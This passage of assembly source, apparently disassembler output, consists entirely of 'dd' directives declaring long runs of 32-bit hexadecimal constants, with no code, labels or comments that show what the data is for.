dd 8A716F2Ch, 359CF200h, 24497FB1h, 0FC33E5h, 0CD44930Ch
dd 2492BE3Bh, 0B4C1B90Eh, 0FFFA03Fh, 1FF8FE7Dh, 141525h
dd 0E98BCBB0h, 0E200F6C9h, 0DB1B1A42h, 0E34F099h, 22D4CFEEh
dd 0E601302h, 2BDFE5C0h, 2FA63800h, 8D8028C5h, 687A92h
dd 8336A2DDh, 701D9863h, 0BB8BC900h, 1E717A51h, 5590158h
dd 5F3F812Fh, 56E6EC77h, 3A395007h, 0E45067B0h, 738CCB48h
dd 4EF409AEh, 1C01B7F0h, 0E0072B85h, 4304B611h, 0EE51BDE8h
dd 711074C7h, 223481h, 0CA92DAC4h, 42E8F503h, 46800960h
dd 0E6E02FA2h, 1DFF00EDh, 4EEA02FAh, 0B900519Ah, 0B4490765h
dd 4500B06h, 94C3B65Fh, 18880B3h, 4E073544h, 2B4F22E4h
dd 3832F540h, 3F8C0319h, 1AC554E7h, 0D1E676F8h, 420BD407h
dd 1C0E870h, 312511h, 9B92F9CEh, 0FCFAB6Eh, 9303D00h, 269DA60Ah
dd 0C96438EFh, 0AF80CDBAh, 4C9E60DAh, 4F00C3B1h, 2E38E20Eh
dd 3B0B4Ah, 428E8685h, 251A695Ah, 0E50018F8h, 0F2D9E6C6h
dd 5D6F3B6h, 22C2F861h, 0C99803D0h, 1E53F30h, 0B1B63AC8h
dd 0F0EEC552h, 0BA008474h, 9D81DF1Bh, 1E89B573h, 0C0A88DE8h
dd 0AD43A2B1h, 78037F40h, 92D398CAh, 9D66F8F9h, 0D2090385h
dd 28B3C780h, 436EB0E8h, 4AC348h, 2E072AF6h, 7719AE7Fh
dd 462300BCh, 986D592Dh, 0DC1C41B3h, 6C005603h, 5731765Ah
dd 8534813h, 124F4209h, 80410F07h, 16E17139h, 0D7C48900h
dd 4EC78E88h, 5F0905Dh, 49380A82h, 0BF6F80CBh, 0CC00B262h
dd 1953D04h, 0FCB3F1h, 0E5F00ECEh, 44A209D3h, 51907318h
dd 3D1BB858h, 5F807912h, 564D49E0h, 850027EBh, 0CFA71ED8h
dd 0B37E97h, 694BFA98h, 379C6FCDh, 5D124E00h
dd 33BBC0A1h, 0EA0E00F2h, 0C254AE0Fh, 4301CCE7h, 0B8E548FDh
dd 72CC733Ah, 0C9E300B4h, 0CFD170BEh, 54016033h, 432C18A6h
dd 20F08CB9h, 0A066001Eh, 0A5BC755Dh, 0FD00C9A9h, 83B85F6Dh
dd 0FA6C0B28h, 185D01F2h, 3135826Ah, 9E87C4C3h, 82B1B439h
dd 86AD2C57h, 0A3F4A034h, 0B2DF41h, 0DE24E5Ch, 18434C74h
dd 75FD1007h, 8020BE6Ch, 0EF450514h, 7374D0h, 0B1C3EA04h
dd 0A3B02D08h, 0BFAA6E16h, 0E12B00EEh, 22E9E47Dh, 17AB39h
dd 3FEF5A77h, 1C0D65A4h, 82A688h, 0A8368956h, 0A100AA4Dh
dd 5847709h, 77F925Dh, 4B2F5A74h, 7ED70D9h, 1C003AF2h
dd 533D6E17h, 370E4Ah, 0D37B2CC4h, 0BD87C7AEh, 781F51F0h
dd 12007775h, 79BAC0DFh, 0C78CA06Fh, 90D500D4h, 8D6B0922h
dd 0BE00590Eh, 17630624h, 0CF28DAh, 0F7E0CAEAh, 0CB2B852h
dd 0E526EB00h, 2C14359h, 0F896383Fh, 84A41901h, 16D1371h
dd 20DE9A04h, 0A8094BE9h, 5C0B3575h, 0DDC7Eh, 4F3BD45Ch
dd 31C42632h, 61F000ADh, 6E679CABh, 5780F00h, 0BDCA4666h
dd 98CE00BCh, 73135393h, 2B004A7Fh, 80A32382h, 0E4A1DDD8h
dd 884B133Ch, 8BA80219h, 706487B0h, 0E0501500h, 4306D3D2h
dd 0A3ED1F27h, 431C1F7h, 61CB0E51h, 0DB0CC828h, 4CCEFF00h
dd 0BB9F282Fh, 70030069h, 0AADF649h, 9400D7F7h, 2FED6B6Ah
dd 5B45D64h, 0B243FF12h, 1A8F80CDh, 0F97551C6h, 9A3CE51Dh
dd 5DB9E340h, 103C25Bh, 4DD83E36h, 2F61F1FDh, 7C8D6200h
dd 0E08C1D1h, 6870341Eh, 4D52CD60h, 0E400DB2Bh, 0F9C4EB13h
dd 829BC8h, 0E13DB850h, 0C7B2C64Bh, 0A1E2B900h, 43467790h
dd 98160774h, 0C0080AA3h, 6C65C272h, 0A4CEB400h, 64CD955Eh
dd 36E50F40h, 0C07C7AF5h, 26F73830h, 8B00FA84h, 60C518CFh
dd 2FF2AFh, 0C722F395h, 0B38CC9A6h, 66A82000h, 5E14F5BCh
dd 0C575B5h, 79ECDAC2h, 7E428B83h, 95EDAE03h, 0B0BCAAE9h
dd 76C281h, 0A1F4B784h, 526B28DCh, 3E86C300h, 41B515E1h
dd 2E2F004Eh, 0C60B9395h, 13007D8Ch, 0FB67FD62h, 30DC7Fh
dd 86D69711h, 0F71546EEh, 662E3960h, 0AD5CBAh, 9BC355F3h
dd 0CDCC97D9h, 62D68600h, 0F733FB7Fh, 6EB20EB5h, 0ECA07745h
dd 0F5E5E22Dh, 89D9DD00h, 0E109C90Dh, 0F7610064h, 4E1F3FA7h
dd 0B77A539Fh, 0ED5D6000h, 98F609DBh, 45620032h, 9D3A2BBDh
dd 0F75849D6h, 85500066h, 3B73CFECh, 0F1C4000Ch, 3C0E1F2Ah
dd 0E0096055h, 71E1D29h, 0BDC02B8Bh, 0EAF54F63h, 59480E50h
dd 3F00E028h, 45B58A9Bh, 62BE0200h, 25BA3B9Ah, 12AB0FAEh
dd 4A0861Ch, 170D82Ah, 87718D3Ch, 3A0AC949h, 555F2210h
dd 0F3776Dh, 548B8A4Ah, 233F79E4h, 8FC0EF3Ch, 0E087925Eh
dd 0CF1D9BB5h, 0CCE53BEBh, 0F4139709h, 0A3113E80h, 583DFA75h
dd 0FD319EFEh, 0BE352CC6h, 0BAEC0A98h, 80C092D6h, 8577F33h
dd 0B00024DAh, 9CCF510Ah, 85296Eh, 4A4F6AF4h, 54667522h
dd 95799400h, 6881C2Fh, 0E893001Dh, 150C4EC3h, 1200A3C1h
dd 2D2844Dh, 0A1E7BC6h, 0B73B0846h, 0ED0F8288h, 0B883CE77h
dd 968860C0h, 0CA0EC27Bh, 29025AF2h, 0F0400E5h, 0D03F35h
dd 0DE147805h, 0EAF16267h, 30C6E400h, 0D1B1EB8Fh, 0BA29022Dh
dd 9C9D8658h, 0F6BF00DFh, 0BBB213h, 0C6C44BCAh, 0E4B6E328h
dd 0DA791801h, 0AA1D34C2h, 77AF070h, 83DFFDEDh, 3B003B7Ch
dd 339E9F0Fh, 8908F300h, 2755F1DCh, 28FC2EB6h, 0AA24009Bh
dd 0A8CBBD5h, 390018EEh, 7B836F4h, 44184h, 5E1ABE03h, 266F7B9h
dd 0B32F271Eh, 4AB8C7C0h, 71A99Dh, 3D409815h, 83E29FBAh
dd 0B4F46412h, 0DC40B81Dh, 9A2D04C0h, 0DEE08Eh, 4A843858h
dd 0B4373074h, 623D9401h, 0D54F7089h, 0BAC8F07Bh, 99C025FCh
dd 898A808Bh, 0F924000Ch, 0CF882F31h, 94014362h, 0E5BC81B0h
dd 0EC0A9FAh, 0D66C004Bh, 1C466A5Ah, 8000C211h, 0E8241A03h
dd 46DC0CBh, 714AFAA4h, 12C6C0D7h, 1009A4Fh, 0EB65AF39h
dd 981A08h, 0D877FE5Ch, 7E85CB05h, 9A8AE700h, 0C7B4D61Ch
dd 66860056h, 0CC931EE5h, 1600D14Dh, 5194D8DDh, 0EF1F24h
dd 9E576E68h, 445640ACh, 6FB53703h, 37638AFh, 5CC4D8E8h
dd 88003912h, 0CC8B3555h, 92B5FEh, 22013A16h, 0FAE1442Ah
dd 7311A48h, 9D87300Bh, 14D5A311h, 181C0FF4h, 2952AA2Bh
dd 0E5017242h, 7401CF84h, 1981B6F0h, 0A1C78D16h, 52C8E3BBh
dd 64003565h, 1F533498h, 1C68503h, 83540FC5h, 0E8FD1BEDh
dd 810343AEh, 52974916h, 47A91C0Bh, 5B0C0C2Bh, 9F00FC58h
dd 1F9EEE96h, 186489F2h, 0AE7A4EC0h, 0C00DD9Ah, 6D3DD359h
dd 65F6E7h, 0CF5C573Bh, 32A597B7h, 8F458203h, 0B8CC7DECh
dd 3A0F6293h, 1C0C836Ah, 5648796Eh, 88EAAC92h, 5E50C400h
dd 6B55636Dh, 20EF7FA8h, 0A102E49Ch, 111591B2h, 5328E0CFh
dd 0DEAE26B6h, 1C8101B4h, 80D7A877h, 0F3BDB4F6h, 7D5BAFF6h
dd 1CE8F2CAh, 0C076424Fh, 4702060Eh, 4400CCC9h, 4535680Dh
dd 1F6B2E2Bh, 0C0C334B5h, 0E2E6E5D6h, 701F8AFEh, 0F600F80Fh
dd 91A09A68h, 3CFA7A2Ah, 400415Fh, 1A4D6D60h, 613D749Dh
dd 171900ADh, 3D0256A8h, 97CE000Eh, 0CFD0CC8Eh, 5B00EE42h
dd 0FE18302Ch, 50CD3170h, 0F21D569h, 0ACFA9F20h, 7F861640h
dd 9103487Eh, 0BC5FF9E9h, 0F6E2E8C1h, 0FA7A33h, 6A1A641Bh
dd 0B4F1AB80h, 4108A900h, 94156BD5h, 36A1007Fh, 0E452BB71h
dd 801789B1h, 0FA005FA5h, 0D5B0A70Dh, 2DD8391Ah, 4B681Ch
dd 949A4E7Fh, 0AB1D7980h, 21C01275h, 38FBB984h, 0A7B60051h
dd 5FA20720h, 2F30035Bh, 1B0AB8D4h, 88D80075h, 0D32D1D8Fh
dd 5E3CB4BDh, 3D71804Fh, 22DA0182h, 65CB0B36h, 0F1809962h
dd 0F9E2F5ABh, 9AF8C100h, 4FFB697Ah, 18E80055h, 7DD0EF80h
dd 4E00C8D8h, 1354BCCCh, 1657BBEh, 2D6FC52Ah, 20D42CC0h
dd 7FA6056h, 0ADBC8512h, 0A8D9920Ah, 73EDD281h, 0CFE04532h
dd 5AA92CFEh, 6A810055h, 0F437ABADh, 0A5CC1F00h, 1E461611h
dd 4F3F00CFh, 7E4C908Eh, 0FC3E587Bh, 9ADD0051h, 96093C97h
dd 2B7A00DBh, 0F4AD2473h, 0DBA00211h, 0F000DC9Ah, 0ECC39E4Fh
dd 6DE01h, 0AF24A556h, 58C093C9h, 4FCAE003h, 0B81641A4h
dd 0A22A2h, 716E0E52h, 0CD46FDDDh, 8F5B7B0Eh, 793FE0A7h
dd 0DBAAE3h, 0F7B41E10h, 54CF63FCh, 58173024h, 20A0258Eh
dd 8F2AE46Ch, 0BAD600D9h, 655C1594h, 5B004926h, 17A448B8h
dd 92C966h, 7F5F054Ch, 48B70C0h, 70D4383Ah, 812C1C01h
dd 37F263C3h, 60719841h, 54658880h, 50FCD4F7h, 1C7E4F00h
dd 67F1090Ch, 0CA630074h, 0F6F6C76h, 0C778121Fh, 9C8C8D28h
dd 0BD88F700h, 0AB9318D8h, 36D71F95h, 0B41E7Ah, 0D5890682h
dd 38001153h, 0C94F04BFh, 0EF2DCBh, 0E70EEA2Ch, 6F617CBCh
dd 90319F32h, 8B9B105Dh, 0E002BE00h, 51C2E5F0h, 0C72100BAh
dd 9F734330h, 0D00E2DF8h, 603B9E2Ch, 4D7FCFE6h, 0E1CA0034h
dd 200A1DF3h, 3A400FDEh, 0E2B7F406h, 0A60D2970h, 0A3A03CACh
dd 0DB0A530Ch, 0F2BB510Bh, 0AFB30127h, 84BEEDD7h, 0B453FC4Bh
dd 9E2E6F00h, 44879F17h, 769C0E2h, 686D95BBh, 6D6801Dh
dd 0A83EFA40h, 0BFD437h, 9BCB71AAh, 0FDBBD925h, 0FE00B1B0h
dd 6D732D74h, 0FB4F65h, 537D62CEh, 0B3F47C5Eh, 9BA25A03h
dd 90A47E5Dh, 7BF78027h, 643D00ADh, 82DAAF16h, 51E4EA09h
dd 50E2BD00h
dd 0EBFEB676h, 0C19A00D6h, 0B18FD4A8h, 16002882h, 192CF3AEh
dd 3DBF7178h, 3C86EB64h, 3822E7B0h, 0DF00FA7Bh, 52731895h
dd 0EC053B68h, 49E60054h, 0C0C8A7CBh, 0FF38C2DFh, 5A52800Bh
dd 7DBC390Eh, 6F5C00F5h, 6C7AB063h, 0CB0147C9h, 74170410h
dd 0F2E4F94Eh, 2448CB50h, 0C78FF601h, 105EF05Fh, 9693780Ch
dd 5D500Ah, 0CA998009h, 279EDD9Dh, 4DF6E300h, 7C9C49C7h
dd 83841EC6h, 89807BF4h, 0AEDF18B0h, 0C06E7A3h, 523944D3h
dd 3F463C8Eh, 132500F0h, 8E48E6C7h, 0B3000815h, 0A078B838h
dd 14A8F57h, 4F764E7h, 40AAD152h, 0CE445E8Ah, 0E40030FAh
dd 42E9B46Dh, 3822DFFh, 0D7D565EBh, 78F02983h, 3E00F5CBh
dd 495820F7h, 2877Ch, 5A0D8FF8h, 4BD8DCD7h, 0BA6E4300h
dd 11FEA538h, 0A02900B8h, 3064DBFDh, 7E005BB5h, 0A9CACF4h
dd 0D2B7DDF3h, 0CCF80068h, 0B1068B94h, 2A0B39h, 0E960F011h
dd 2B6C27h, 0EFB20C36h, 8C859E7Ch, 0D39ABCA3h, 61E9E0D5h
dd 0F5E037h, 5C82FB7Dh, 502941E0h, 49E7203h, 0D08156FFh
dd 121CB608h, 0FF0A1D4h, 59EED9F2h, 527BF880h, 0B002592h
dd 889B3119h, 1CE26889h, 801BFA6Fh, 148A2FE5h, 1158C358h
dd 0A233001Ah, 0F820CB4Fh, 0ECE92630h, 0E35F030Eh, 7380D7B3h
dd 0BEE416BBh, 49217A13h, 85697C00h, 7CE82EF8h, 8B420083h
dd 76A3B55Dh, 0AB00B3C4h, 1652BC0Ch, 0F4C2A436h, 0DDB700D3h
dd 0F8C865DBh, 734DADA1h, 0CA3E2880h, 48BCC001h, 0E05FB67h
dd 97D130h, 8D35882h, 916F81D0h, 405A2800h, 3EF8C3F2h
dd 2FB100EBh, 77D2D17Fh, 0E7309054h, 156F78E6h, 0F6C20963h
dd 489B9E67h, 954DD104h, 70D79033h, 0C2B8261h, 0B417E8E3h
dd 72D66970h, 43A62000h, 0A0674D94h, 0DD70E770h, 0CCA592h
dd 52B9E8E6h, 0F7C96212h, 5B781760h, 5C66F11h, 0A5B080FAh
dd 9EB600A3h, 2D2CD195h, 0B3C8401Fh, 0B61E03Ch, 827A81h
dd 0D90AC2EEh, 7F97BF1Ch, 0CBAAB51Ch, 0F6235EC0h, 2816EBh
dd 0DC471AF2h, 14B31563h, 0D62CA500h, 8E6E60C5h, 0A47400BDh
dd 25B10488h, 0C600F33Fh, 9B26EB5Eh, 7AFAD85h, 55DAE766h
dd 4DAC8180h, 406E61D4h, 0F2EF4A7Fh, 54627B00h, 0C8BCBD7Ah
dd 0D783005Bh, 147FAAB4h, 20002933h, 0FC152AA5h, 64CF69h
dd 9162728Fh, 862C425Eh, 0CBDF5100h, 67EEE0AAh, 810900B1h
dd 97451F8Ah, 2514900Bh, 18E45960h, 0B5D01744h, 4BEA007Fh
dd 1626A3CFh, 0C000BEA6h, 0D8624F20h, 1E7AADh, 90ED1CC5h
dd 97753CCh, 0A6CEFC00h, 0B20395D4h, 0BBD2067Fh, 21C054B8h
dd 4139E800h, 6456C167h, 26F0020h, 329DEF4Ch, 0A0033F29h
dd 2A67062Fh, 19100035h, 3836C4B1h, 5D00432Dh, 4C5E9588h
dd 4965B3h, 87E31F89h, 9E3A5CAAh, 0E5788600h, 9D701EEDh
dd 0A2790003h, 0B347E0FBh, 30000E34h, 6A349A4h, 0F782A0h
dd 0CFD98C93h, 2E14E4F6h, 0BF0050E0h, 0EF202832h, 285C63Fh
dd 36F55553h, 0FC808349h, 0A07E4250h, 0DA2EA71Eh, 0F7CA1B83h
dd 68C0DF8Ah, 0BF14E8h, 0DE50A8BCh, 736BB9C8h, 80B5270Eh
dd 68658397h, 4724C067h, 0C369033Eh, 4C22405Ch, 0AE1D80C8h
dd 3CA5DE00h, 94FDEC4Ah, 6BA40742h, 2FDA7D10h, 6300808Bh
dd 6F9802CBh, 0D900BBEEh, 6C2EC8Fh, 0E8FFB2C5h, 7C9791Ah
dd 0D652F01Bh, 0C37540EEh, 2A1EEABDh, 0FF5F4E14h, 20E051CFh
dd 0ED3C5984h, 0F5E2004Ah, 0C125D6FBh, 21001F20h, 708F8E6Bh
dd 0BB1480h, 0D363501Dh, 0D541A775h, 0DEBEDB0Bh, 11420001h
dd 2B7B0Fh, 0C9333B66h, 20E25E72h, 3952D603h, 907A2477h
dd 147D38CAh, 0AC05F01Dh, 0B2684B00h, 0DA4C45Bh, 5EBDD900h
dd 0A1089A7Fh, 5C4C3DB9h, 0E51F7D81h, 60F2F359h, 7113A026h
dd 0CF0C7CFAh, 5BEA218h, 26C70C8Fh, 64A500D5h, 8C6A0DE7h
dd 80D1B53Dh, 6535774Ch, 7F66B718h, 63EA1D58h, 0D2A5CFA1h
dd 301E2340h, 2A00288Bh, 44EBE5CEh, 0AD5D7Dh, 212D9376h
dd 25B23A82h, 20E93D00h, 66F5E81Dh, 8CE892h, 2B2DF1EBh
dd 46013ECEh, 33AFC800h, 0B88DE25h, 49A9003Dh, 0F3D17BABh
dd 5F3DE7CEh, 0FE840014h, 24BA02D7h, 91E2D3h, 8F177274h
dd 60ACEB1Ch, 7ADA7300h, 69D77190h, 0A6D03250h, 0AEC0AE11h
dd 79799AF7h, 1C5D7600h, 7E528245h, 8F081E8Ah, 68F382A8h
dd 9380A9FCh, 534781D5h, 2739FFA0h, 0B16B4100h, 0C3862638h
dd 177C0274h, 6D554AC6h, 0D145F0A0h, 0A112B5D7h, 9303E382h
dd 88B41471h, 7332784Ah, 81000C6h, 0CF3C8976h, 2385DEDh
dd 7D5300B3h, 1CA882A9h, 429000E3h, 0FA76133h, 0B300C198h
dd 58AC9FCDh, 0FF901E6h, 7B62D2C4h, 0DA4128A3h, 0A5114488h
dd 9FBCDE03h, 0D8817488h, 27CF3Bh, 0D9B39623h, 8E7B5F48h
dd 616FAB0Fh, 3080BC8Ah, 0D57AFD7Fh, 0E6FEF6FCh, 287410h
dd 825A1C34h, 54409D19h, 2DAE5E07h, 2410BB72h, 0EA0D95h
dd 3B207E25h, 0B2D8E41Dh, 1F07CC7Fh, 49808F26h, 0A71B5360h
dd 471C0046h, 327B6BF0h, 40359C8h, 3FC14066h, 0B446D82Ah
dd 3B5C00A2h, 1BBA0376h, 6C7A0520h, 3C686200h, 7A38E257h
dd 9EAF3E94h, 0CA354280h, 0BA21400Ah, 0FF8CB400h, 0AFDBCF83h
dd 42BB0067h, 111037B7h, 0DC00656Eh, 345589FDh, 267B8264h
dd 664F4Eh, 0B4C83A1Ch, 0FE006984h, 99565C5Fh, 41B946h
dd 0A9CC6FCEh, 5949567h, 0DE8CE51Fh, 0F3FD627h, 2D8123FCh
dd 2073012Fh, 0E5008D9Eh, 2B974AB6h, 314135h, 48323A72h
dd 47D253Fh, 0B5B4F800h, 0D3666BFAh, 448A00A9h, 527EAB7h
dd 9A0659E3h, 6C2BA34Ah, 54077720h, 83887Eh, 7BC5A8C8h
dd 5E59C38Ah, 7A10FCE7h, 0CA279C02h, 40A21C92h, 31E0C8h
dd 0CCFB5DC9h, 18450386h, 8B01B4B0h, 0EAC250FFh, 9040667Fh
dd 5FA7E7h, 6BD5DD81h, 0C405FA6Dh, 0EB00B2ECh, 12A0BF9Dh
dd 7B382AADh, 2ED91F66h, 45C640CDh, 3EB148F8h, 191C1D0Fh
dd 752520D8h, 80E23C91h, 6C002337h, 0E779B24h, 1D6D27h
dd 7063AF1Fh, 0A1F25CA7h, 4F666A00h, 169EB964h, 918F0EADh
dd 3289F8FFh, 15623000h, 3AFC3747h, 98F0F300h, 0DE57EA70h
dd 25753E7Fh, 0B30EE203h, 47F01EB4h, 623AF866h, 80F6BD77h
dd 59BD4B6Dh, 4CFB1DFh, 1E0607AAh, 91BE8712h, 0ECCA7CD3h
dd 30003BA4h, 0DF3AA17Bh, 38F60F7Eh, 4781BE06h, 84C23944h
dd 0E018F1DEh, 720E12AFh, 4034E90Ch, 0D63303E8h, 1A2501F9h
dd 2F478DD8h, 0E27DC414h, 526BDD00h, 0E4D2C0CBh, 0F0D0002Dh
dd 621B1CCAh, 5D0F975Bh, 0A082C2AFh, 0B3FAD7B8h, 0F76E1C01h
dd 203080CBh, 0B1E5AE2Bh, 555AA200h, 91C475CAh, 3C2C055Bh
dd 85E27FECh, 9B300005h, 0AB8F6D95h, 0BB898304h, 39C07307h
dd 1430D9DFh, 0D8C139CBh, 0F110D100h, 0A7D5BA7h, 20B8D326h
dd 0CDCC0038h, 0B3B1E79Ah, 66989Dh, 0ED7213ACh, 0CFB0A31Dh
dd 42BDA717h, 93C300ABh, 81EFB831h, 0E0C7E63Dh, 0AB6830D6h
dd 6EFE4Ch, 44C5299Ah, 0F3B6ED6Fh, 0CF065C00h, 0B73898B1h
dd 0AEC300A0h, 1EAB8AF1h, 0BD035697h, 81F4D2CBh, 9DA6A0FDh
dd 1EBA7337h, 1DCFA5C4h, 8A410097h, 1C5735B3h, 3916D018h
dd 191FF8h, 73013F2h, 0F77C3FDEh, 5427F500h, 6E51B45Dh
dd 7ACD3946h, 2B749480h, 565E01E0h, 796AED00h, 2E515083h
dd 37260669h, 4AF94525h, 80A9F8CFh, 0BDBCA63Eh, 54D3043Ah
dd 0C0C7A7A8h, 3639CA58h
dd 0DEE01900h, 95E6804Ch, 6C9A51h, 4BE4BB4Ah, 6F07DD0Fh
dd 3C7363Eh, 0AD6BE15Bh, 0CA28C062h, 50F70495h, 80F97E19h
dd 651EC4D1h, 54E05C04h, 0F0C1A16Fh, 71D9EB8Ah, 4B141C4h
dd 0EA2633BBh, 36C8C031h, 0C70063FBh, 0A0AB30E2h, 0E4A2E49h
dd 0E5D2D046h, 4D9009Ch, 96BFEBA2h, 0C3279800h, 0B4F08369h
dd 2D0800EDh, 35AFD958h, 4D1497D4h, 0A83A6Fh, 0AB7A7107h
dd 26DFD7h, 1ECFE3D8h, 3CB53BFDh, 8015E73Bh, 0ECAE12F5h
dd 0C803FCh, 94EEA6D9h, 0F81B9DC2h, 43B62900h, 0DF6D0F0Eh
dd 14082060h, 0D4B70105h, 94457936h, 6AC08A17h, 0B2E931h
dd 25616266h, 0AE5F0F1Eh, 0A4BE1C00h, 0C0771F98h, 84B10368h
dd 796EC68Ch, 1395F880h, 22B54301h, 523FA545h, 0C2F820h
dd 2032E1D2h, 4D68DC77h, 9ABA6B00h, 0FC8889C3h, 6C30EBC7h
dd 0A1A60FECh, 42A701B4h, 9400EB31h, 807F899Eh, 9334D700h
dd 0FE994ACDh, 0E877005Eh, 0B4C2EA6Ah, 0E0A15F47h, 8C10801Ch
dd 7781B72Bh, 0D9AF003Ah, 65B4B856h, 0E605E033h, 8CD26917h
dd 0F2E36CC0h, 8880000Eh, 0BFFE27A3h, 2C00EE9Ch, 1F9F4E65h
dd 27EEF02h, 86935113h, 1CC8CE4Ah, 3CFE334Fh, 2F452C00h
dd 84592010h, 6AEE21h, 515DF394h, 961A1929h, 9D21F3h, 46B6FFAEh
dd 0F90E3302h, 40C06E05h, 0B0406D10h, 25883C28h, 1CAC8F00h
dd 6304F68Ah, 9A5D5500h, 0BB36C756h, 5B0E0C0Bh, 6F21151Dh
dd 0C4D75004h, 2C0F049h, 7FD43F2h, 0D98BC761h, 0A296C055h
dd 12E8B4C1h, 940654B0h, 463F52F5h, 804B0011h, 0C637A4BAh
dd 0CE786783h, 3A267000h, 4E2F4364h, 37500A5h, 21DC7813h
dd 0C8008C19h, 5B9DA07Dh, 0B537C0h, 9472F539h, 0B1BA845Ch
dd 2B8DA31Ch, 6E4926C0h, 1BC97B5h, 6264271Ah, 0E09FB6E7h
dd 0A4124245h, 0DC0795CBh, 8830A2FBh, 135D89ECh, 73911Fh
dd 0F390BC2Dh, 6804F9ACh, 9C0A5683h, 0C8D82880h, 0EDB100D6h
dd 2B6FA49Dh, 4CFAB7ADh, 0AA00CF73h, 0CB36786Dh, 58163Fh
dd 0D98C6867h, 0B2EAC39Bh, 0BD266E01h, 369EBB32h, 89A2D4h
dd 0B170F79Ch, 86089D4Ch, 0B600D271h, 97B861D3h, 2ACB51h
dd 0D9C26CDDh, 2B307099h, 1F1B0512h, 0DCDA8000h, 20318D3h
dd 0EC39BD42h, 0E960D8B0h, 9A0EA04Eh, 60F9E553h, 6BB6E675h
dd 52D90430h, 80932D1Eh, 0B4674B6Ch, 43AF3900h, 0F42142ABh
dd 4F0E1FD8h, 400F1760h, 5E31C738h, 0F658BF35h, 0FE3209D0h
dd 0D9400BAh, 0A3BCDFh, 7F5880C4h, 3D763620h, 213C8200h
dd 97226C16h, 30F001Fh, 0E5589615h, 0D4076047h, 848ED365h
dd 62B0C177h, 9AC7ECh, 340A9E93h, 92B2A94h, 0BE6CF900h
dd 3BCF1F12h, 5814EC5Dh, 80173F98h, 0ACC100EEh, 0F5D78583h
dd 73A3600h, 15220A0Bh, 0F8740492h, 80119176h, 2CB75638h
dd 10FDF200h, 71A826D9h, 0B5FA0Ch, 2594C2E7h, 90ADC47Bh
dd 6CC6D824h, 0FAFEEA01h, 90AE43BFh, 0F3A98B9Ch, 8D4CEE02h
dd 20AE42F5h, 5BD93D98h, 0D68300B6h, 1E65952Dh, 6730A3D3h
dd 1A6D80CAh, 986E50E7h, 7D8B8A2h, 0A1EAD45Ch, 17BEEDh
dd 0E90631BCh, 0DEF88FE1h, 58DAEF00h, 65FD26FAh, 7ACA090Ch
dd 5C0F4535h, 99DF4100h, 1601BD96h, 3B114EDh, 0AC40FBCCh
dd 0E4C00227h, 70FC012Ch, 689EBA45h, 6EA8209Ah, 0D6E61F01h
dd 42A88CAh, 0E49D78F0h, 0B3CB0012h, 0EE109392h, 68C01399h
dd 60889091h, 0A0DF051Ch, 0C04AEB14h, 0B8B748B8h, 95DB4300h
dd 0B6F777E6h, 6C7F90h, 4D01076Ah, 350D5A9Eh, 3EB7110Ch
dd 0E6E072h, 0AF60DDC6h, 86788BD4h, 0F800414Ah, 0D703E939h
dd 6A8B28Ah, 17C567BEh, 0B00F2150h, 80C93879h, 0D38BDB68h
dd 882B003Dh, 4833A0D4h, 6D0BDA3Fh, 3CD646h, 9859C537h
dd 41216165h, 0CC620919h, 3F4824A2h, 0D7097B96h, 40CFBB95h
dd 0EFD47A4h, 6949A79h, 2CBF1DC3h, 21431803h, 0A8C07FEAh
dd 3CD4E4h, 683136B1h, 0D47964Fh, 91616B00h, 769A752Fh
dd 69FC003Bh, 0B68B7AA7h, 0A05199B5h, 4ECE4BCh, 0A501A3F6h
dd 8F3DCA27h, 48742940h, 0B7770086h, 0FE3A7550h, 0AD01667Ah
dd 54C3CB63h, 0A050169Ch, 90C29065h, 40F014h, 0EE3BE18h
dd 0E8E0A54Ch, 0BD8DDF02h, 40240F86h, 41C8F8h, 4AC3EB87h
dd 1DBB6EF9h, 4D3460C0h, 0B08FC63Eh, 55E40017h, 49276D32h
dd 8500C550h, 46CCB1E3h, 304EF84Ch, 713979EEh, 0B8001A2Fh
dd 8A33CA2Bh, 4C37906Eh, 2E3A7CCBh, 17036580h, 3FCF811Eh
dd 0AEE77603h, 0A0914FE9h, 0B707F40h, 32C4BABCh, 80A15884h
dd 2D8F07A4h, 0EECAEA18h, 1C97A98h, 5315AF0Fh, 92708B48h
dd 1804D1F8h, 90B0E7E0h, 8CF700C1h, 0FE7B4C90h, 0D1FA2C80h
dd 8CB1313Dh, 296757DEh, 1F3F0050h, 0B092586Dh, 0C7037DE8h
dd 6011C161h, 0E0BAF2C2h, 4941214Bh, 9C28146Ah, 0D6500080h
dd 822B0A68h, 0BC0065BFh, 0B00C1EB5h, 790B99A3h, 0F2FDE025h
dd 0F5892C5h, 907569C0h, 155809DEh, 0E6B39424h, 30F2005Ch
dd 0C9948A90h, 60E60C99h, 0FE21F8CEh, 44072890h, 5B52BBEAh
dd 80308D72h, 0D1FA90FCh, 0D8B0060h, 0DB0E22C9h, 0E9036DABh
dd 57DF3F84h, 5F17570h, 4FE69AF5h, 0EE9860D6h, 8D00201Fh
dd 68075642h, 1C26A433h, 599A0A7Ah, 20F469A1h, 0A8B04EF0h
dd 2E6AB5Ch, 0FF63D510h, 9E22E01Bh, 55AF093Eh, 0BC107981h
dd 4F01E1DFh, 0A9DA7408h, 98349350h, 2DD00063h, 0CD043C6Ch
dd 31009BAEh, 16C687EDh, 0CBCEC23h, 69507754h, 98C037A0h
dd 0F6C3301Ch, 0F75D33EEh, 0E0F9C636h, 20A6F0ECh, 69598A0Bh
dd 0B9C40095h, 24CC5A63h, 1740A0C7h, 80401EF1h, 48F48DC9h
dd 9057E90h, 0A07853E1h, 0CA7CB0C0h, 8E7086h, 0BE61DAEBh
dd 64EC4FF1h, 0B8F3AA2Ch, 7203B00h, 17B721Dh, 3DDE3169h
dd 508EB654h, 0CFFB2390h, 5C8D5A06h, 288CE2Fh, 0A149BEA6h
dd 74708136h, 37AAA0C0h, 18F7EDF2h, 80A48F78h, 0D70097C6h
dd 44B09AFBh, 6036E854h, 7904582Eh, 0F89C4580h, 4A335001h
dd 6FC47739h, 10A549E1h, 0A960AB01h, 205F2410h, 901D42AEh
dd 530083CAh, 6709B971h, 64EE0089h, 0DD608D1Dh, 5F0062BFh
dd 742CF73Ah, 0DA9518h, 0E22BC451h, 0D550B9DFh, 1300AFB0h
dd 0E78B8EBDh, 336A4ECh, 58BA4337h, 0D1E9CE93h, 9F80805Ah
dd 0D44AFCF4h, 90905857h, 0C1A4B900h, 0A7B61F4Bh, 8CF81A00h
dd 0B82DE402h, 0F9DCA028h, 906E48B5h, 0B7C0E500h, 21C42E73h
dd 0FF0AE701h, 48BD6503h, 0B411D682h, 4055F6D9h, 7D27A75h
